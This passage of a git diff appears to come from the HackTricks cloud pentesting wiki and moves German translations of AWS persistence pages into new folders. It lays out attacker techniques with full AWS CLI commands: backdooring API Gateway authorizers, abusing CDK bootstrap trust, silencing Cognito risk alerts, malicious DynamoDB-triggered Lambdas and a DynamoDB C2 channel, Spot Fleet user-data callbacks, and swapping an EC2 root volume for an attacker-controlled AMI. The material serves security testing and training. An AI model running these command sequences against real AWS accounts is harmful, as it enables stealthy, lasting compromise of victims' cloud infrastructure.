Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Für weitere Informationen gehen Sie zu:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Ressourcenrichtlinie
-
-Ändern Sie die Ressourcenrichtlinie des API-Gateways, um sich selbst Zugriff zu gewähren.
-
-### Lambda-Authorizer ändern
-
-Ändern Sie den Code der Lambda-Authorizer, um sich selbst Zugriff auf alle Endpunkte zu gewähren.\
-Oder entfernen Sie einfach die Verwendung des Authorizers.
-
-### IAM-Berechtigungen
-
-Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich selbst Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\
-Oder entfernen Sie einfach die Verwendung des Authorizers.
-
-### API-Schlüssel
-
-Wenn API-Schlüssel verwendet werden, könnten Sie diese leaken, um Persistenz aufrechtzuerhalten oder sogar neue zu erstellen.\
-Oder entfernen Sie einfach die Verwendung von API-Schlüsseln.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Weitere Informationen findest du unter:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Ressourcenrichtlinie
+
+Ändere die Ressourcenrichtlinie der API Gateway(s), um dir Zugriff darauf zu gewähren
+
+### Lambda Authorizers ändern
+
+Ändere den Code der Lambda Authorizers, um dir Zugriff auf alle Endpunkte zu gewähren.\
+Oder entferne einfach die Verwendung des Authorizers.
+
+### IAM-Berechtigungen
+
+Wenn eine Ressource einen IAM-Authorizer verwendet, kannst du dir durch Ändern der IAM-Berechtigungen Zugriff darauf verschaffen.\
+Oder entferne einfach die Verwendung des Authorizers.
+
+### API Keys
+
+Wenn API Keys verwendet werden, könntest du sie leak(en), um persistence aufrechtzuerhalten oder sogar neue zu erstellen.\
+Oder entferne einfach die Verwendung von API Keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Für weitere Informationen, greifen Sie zu:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-Der AWS CDK deployt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Konten erlaubt, CDK-Projekte in das Opferkonto zu deployen. Ein Angreifer kann dies ausnutzen, um sich selbst unbegrenzten Zugang zum Opferkonto zu gewähren, entweder indem er die AWS CLI verwendet, um den Stack mit Parametern neu zu deployen, oder die AWS CDK CLI.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Für weitere Informationen, siehe:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+Der AWS CDK erstellt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Accounts erlaubt, CDK-Projekte in das Opferkonto bereitzustellen. Ein Angreifer kann dies ausnutzen, um sich selbst dauerhaften Zugriff auf das Opferkonto zu verschaffen, entweder indem er die AWS cli verwendet, um den Stack mit Parametern neu bereitzustellen, oder die AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Für weitere Informationen, greifen Sie zu:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Benutzerpersistenz
-
-Cognito ist ein Dienst, der es ermöglicht, Rollen für nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu steuern. Mehrere verschiedene Konfigurationen können geändert werden, um eine gewisse Persistenz aufrechtzuerhalten, wie zum Beispiel:
-
-- **Hinzufügen eines Benutzerpools**, der vom Benutzer zu einem Identitätspool kontrolliert wird
-- Eine **IAM-Rolle einem nicht authentifizierten Identitätspool zuweisen und den Basis-Auth-Flow erlauben**
-- Oder einem **authentifizierten Identitätspool**, wenn der Angreifer sich anmelden kann
-- Oder die **Berechtigungen** der vergebenen Rollen **verbessern**
-- **Erstellen, Überprüfen & Privilegieneskalation** über Attribute kontrollierte Benutzer oder neue Benutzer in einem **Benutzerpool**
-- **Erlauben externer Identitätsanbieter**, sich in einen Benutzerpool oder in einen Identitätspool einzuloggen
-
-Überprüfen Sie, wie Sie diese Aktionen durchführen können in
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Ein Angreifer mit diesem Privileg könnte die Risikokonfiguration ändern, um sich als Cognito-Benutzer **einzuloggen, ohne dass Alarme ausgelöst werden**. [**Überprüfen Sie die CLI**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), um alle Optionen zu sehen:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Standardmäßig ist dies deaktiviert:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Für weitere Informationen, siehe:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Benutzer-Persistenz
+
+Cognito ist ein Service, der es ermöglicht, Rollen an nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu verwalten. Mehrere Konfigurationen können verändert werden, um Persistenz zu erreichen, zum Beispiel:
+
+- **Adding a User Pool** controlled by the user to an Identity Pool
+- Einem **IAM role** einem nicht authentifizierten Identity Pool zuweisen und den **Basic auth flow** erlauben
+- Oder einem **authenticated Identity Pool** wenn sich der Angreifer einloggen kann
+- Oder die **Berechtigungen** der zugewiesenen Rollen verbessern
+- **Create, verify & privesc** über durch Attribute kontrollierte Benutzer oder neue Benutzer in einem **User Pool**
+- **Externe Identity Providers zulassen**, um sich in einem User Pool oder in einem Identity Pool anzumelden
+
+Anleitung zum Durchführen dieser Aktionen findest du in
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Ein Angreifer mit diesem Privileg könnte die Risk Configuration ändern, um sich als Cognito-Benutzer anmelden zu können **ohne dass Alarme ausgelöst werden**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Standardmäßig ist dies deaktiviert:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Für weitere Informationen zugreifen:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### DynamoDB-Trigger mit Lambda-Hintertür
-
-Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine **heimliche Hintertür** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, wodurch der Angreifer beliebigen Code innerhalb des AWS-Kontos ausführen kann.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoDB-Tabelle erstellen oder ändern, was die bösartige Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion zu interagieren.
-
-### DynamoDB als C2-Kanal
-
-Ein Angreifer kann eine DynamoDB-Tabelle als **Command and Control (C2) Kanal** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, diese ausführen und optional die Ergebnisse zurück in die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -0,0 +1,59 @@
+# AWS - DynamoDB Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB-Trigger mit Lambda-Backdoor
+
+Durch den Einsatz von DynamoDB-Triggern kann ein Angreifer eine **stealthy backdoor** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Item hinzugefügt, geändert oder gelöscht wird, und ermöglicht es dem Angreifer, beliebigen Code im AWS-Account auszuführen.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Um persistence aufrechtzuerhalten, kann der attacker items in der DynamoDB table erstellen oder ändern, wodurch die bösartige Lambda function ausgelöst wird. Dadurch kann der attacker Code innerhalb des AWS account ausführen, ohne direkt mit der Lambda function zu interagieren.
+
+### DynamoDB als C2 Channel
+
+Ein attacker kann eine DynamoDB table als **command and control (C2) channel** nutzen, indem er items erstellt, die commands enthalten, und kompromittierte instances oder Lambda functions verwendet, um diese commands abzurufen und auszuführen.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Die kompromittierten Instanzen oder Lambda-Funktionen können periodisch die C2 table auf neue Befehle prüfen, diese ausführen und optional die Ergebnisse wieder in die C2 table melden. Dadurch kann der Angreifer Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechterhalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Persistenz durch Verbindungsverfolgung der Sicherheitsgruppe
-
-Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **jeglichen eingehenden oder ausgehenden** Verkehr zu verhindern.
-
-Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-Dieser Dienst ermöglicht es, die **Erstellung von AMIs und Snapshots** zu **planen** und sogar **sie mit anderen Konten zu teilen**.\
-Ein Angreifer könnte die **Generierung von AMIs oder Snapshots** aller Images oder aller Volumes **jede Woche** konfigurieren und **sie mit seinem Konto teilen**.
-
-### Geplante Instanzen
-
-Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Berechtigungen oder interessantem Zugriff betreiben, auf die er zugreifen könnte.
-
-### Spot Fleet Anfrage
-
-Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot Fleet Anfrage für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** sowie mit einer **hochprivilegierten IAM-Rolle**.
-
-### Backdoor-Instanzen
-
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
-
-- Verwendung eines traditionellen **Rootkits** zum Beispiel
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Hintertür in den **Benutzerdaten**
-
-### **Hintertür-Startkonfiguration**
-
-- Hintertür in das verwendete AMI
-- Hintertür in die Benutzerdaten
-- Hintertür im Schlüsselpaar
-
-### VPN
-
-Erstellen Sie ein VPN, damit der Angreifer direkt über dieses in die VPC verbinden kann.
-
-### VPC Peering
-
-Erstellen Sie eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, damit er auf die Opfer-VPC zugreifen kann.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistenz
+
+Wenn ein Verteidiger feststellt, dass eine **EC2 instance kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz), oder indem er die **security group ändert**, sodass **kein eingehender oder ausgehender** Traffic erlaubt ist.
+
+Wenn der Angreifer eine **reverse shell von der Maschine aus gestartet** hat, wird die **Verbindung nicht beendet** sein, selbst wenn die SG so geändert wurde, dass kein eingehender oder ausgehender Traffic erlaubt ist, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Dieser Service ermöglicht es, die **Erstellung von AMIs und snapshots zu planen** und sie sogar **mit anderen Accounts zu teilen**.\
+Ein Angreifer könnte die **Erzeugung von AMIs oder snapshots** aller Images oder aller Volumes **wöchentlich** konfigurieren und diese **mit seinem Account teilen**.
+
+### Scheduled Instances
+
+Es ist möglich, Instances so zu planen, dass sie täglich, wöchentlich oder sogar monatlich laufen. Ein Angreifer könnte eine Maschine mit hohen Privilegien oder interessantem Zugriff betreiben, auf die er zugreifen kann.
+
+### Spot Fleet Request
+
+Spot instances sind **günstiger** als reguläre Instances. Ein Angreifer könnte eine **kleine Spot Fleet Request für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und einem **user data**, das dem Angreifer **beim Start der Spot Instance** die **IP-Adresse** sendet, und mit einer **hochprivilegierten IAM role**.
+
+### Backdoor Instances
+
+Ein Angreifer könnte Zugriff auf Instances erlangen und diese backdooren:
+
+- Zum Beispiel durch Verwendung eines traditionellen **rootkit**
+- Hinzufügen eines neuen **public SSH key** (siehe [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring des **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor das verwendete AMI
+- Backdoor das User Data
+- Backdoor das Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Ersetze das root EBS volume einer laufenden instance durch eines, das aus einem vom Angreifer kontrollierten AMI oder snapshot erstellt wurde, mittels `CreateReplaceRootVolumeTask`. Die instance behält ihre ENIs, IPs und Rolle bei und bootet effektiv in bösartigen Code, während sie unverändert erscheint.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Erstelle ein VPN, damit der Angreifer sich direkt mit der VPC verbinden kann.
+
+### VPC Peering
+
+Erstelle eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, sodass er auf die Opfer-VPC zugreifen kann.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche **ec2:CreateReplaceRootVolumeTask**, um das Root-EBS-Volume einer laufenden Instanz durch ein aus einem vom Angreifer kontrollierten AMI oder Snapshot wiederhergestelltes Volume zu ersetzen. Die Instanz wird automatisch neu gestartet und läuft mit dem vom Angreifer kontrollierten Root-Dateisystem weiter, während ENIs, private/public IPs, attached non-root volumes und die instance metadata/IAM role erhalten bleiben.
+
+## Voraussetzungen
+- Zielinstanz ist EBS-backed und läuft in derselben Region.
+- Kompatibles AMI oder Snapshot: gleiche Architektur/Virtualisierung/Boot-Modus (und Produktcodes, falls vorhanden) wie die Zielinstanz.
+
+## Vorprüfungen
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## root von AMI ersetzen (bevorzugt)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternative mit einem Snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Beweise / Verifizierung
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the Dateisystem from the vom Angreifer kontrollierten AMI/snapshot.
+
+## Hinweise
+- Die API verlangt nicht, die Instanz manuell zu stoppen; EC2 orchestriert einen Reboot.
+- Standardmäßig wird das ersetzte (alte) root EBS Volume abgetrennt und im Account belassen (DeleteReplacedRootVolume=false). Dies kann für ein Rollback verwendet werden oder muss gelöscht werden, um Kosten zu vermeiden.
+
+## Rollback / Bereinigung
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Verstecktes Docker-Image mit bösartigem Code
-
-Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf stealthy Weise bereitstellen.
-
-### Repository-Richtlinie
-
-Fügen Sie einer einzelnen Repository-Richtlinie hinzu, die Ihnen (oder allen) Zugriff auf ein Repository gewährt:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Richtlinie **zu tätigen, bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können.
-
-### Registry-Richtlinie & Cross-Account-Replikation
-
-Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem man die Cross-Account-Replikation konfiguriert, wobei Sie **das externe Konto angeben** müssen, in dem Sie die Registry replizieren möchten.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Zuerst müssen Sie dem externen Konto Zugriff auf die Registry mit einer **Registry-Richtlinie** gewähren, wie:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Dann wenden Sie die Replikationskonfiguration an:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Verstecktes Docker-Image mit bösartigem Code
+
+Ein Angreifer könnte **ein Docker-Image hochladen, das bösartigen Code enthält**, in ein ECR-Repository und es nutzen, um Persistenz im Ziel-AWS-Konto zu erreichen. Der Angreifer könnte das bösartige Image dann unauffällig in verschiedenen Services des Kontos bereitstellen, wie z. B. Amazon ECS oder EKS.
+
+### Repository-Richtlinie
+
+Füge einem einzelnen Repository eine Richtlinie hinzu, die dir (oder allen) Zugriff auf das Repository gewährt:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Beachte, dass ECR von Benutzern **Berechtigungen** verlangt, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Policy zu machen, **bevor sie sich** bei einer Registry authentifizieren und Images in ein Amazon ECR-Repository pushen oder daraus pullen können.
+
+### Registry-Richtlinie & kontoübergreifende Replikation
+
+Es ist möglich, eine Registry automatisch in einem externen Account zu replizieren, indem man die kontoübergreifende Replikation konfiguriert; dabei muss man das **externe Konto angeben**, in das die Registry repliziert werden soll.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Zuerst müssen Sie dem externen Account Zugriff auf die Registry gewähren mit einer **Registry-Richtlinie** wie:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Wenden Sie dann die Replikationskonfiguration an:
+```bash
+aws ecr put-replication-configuration \
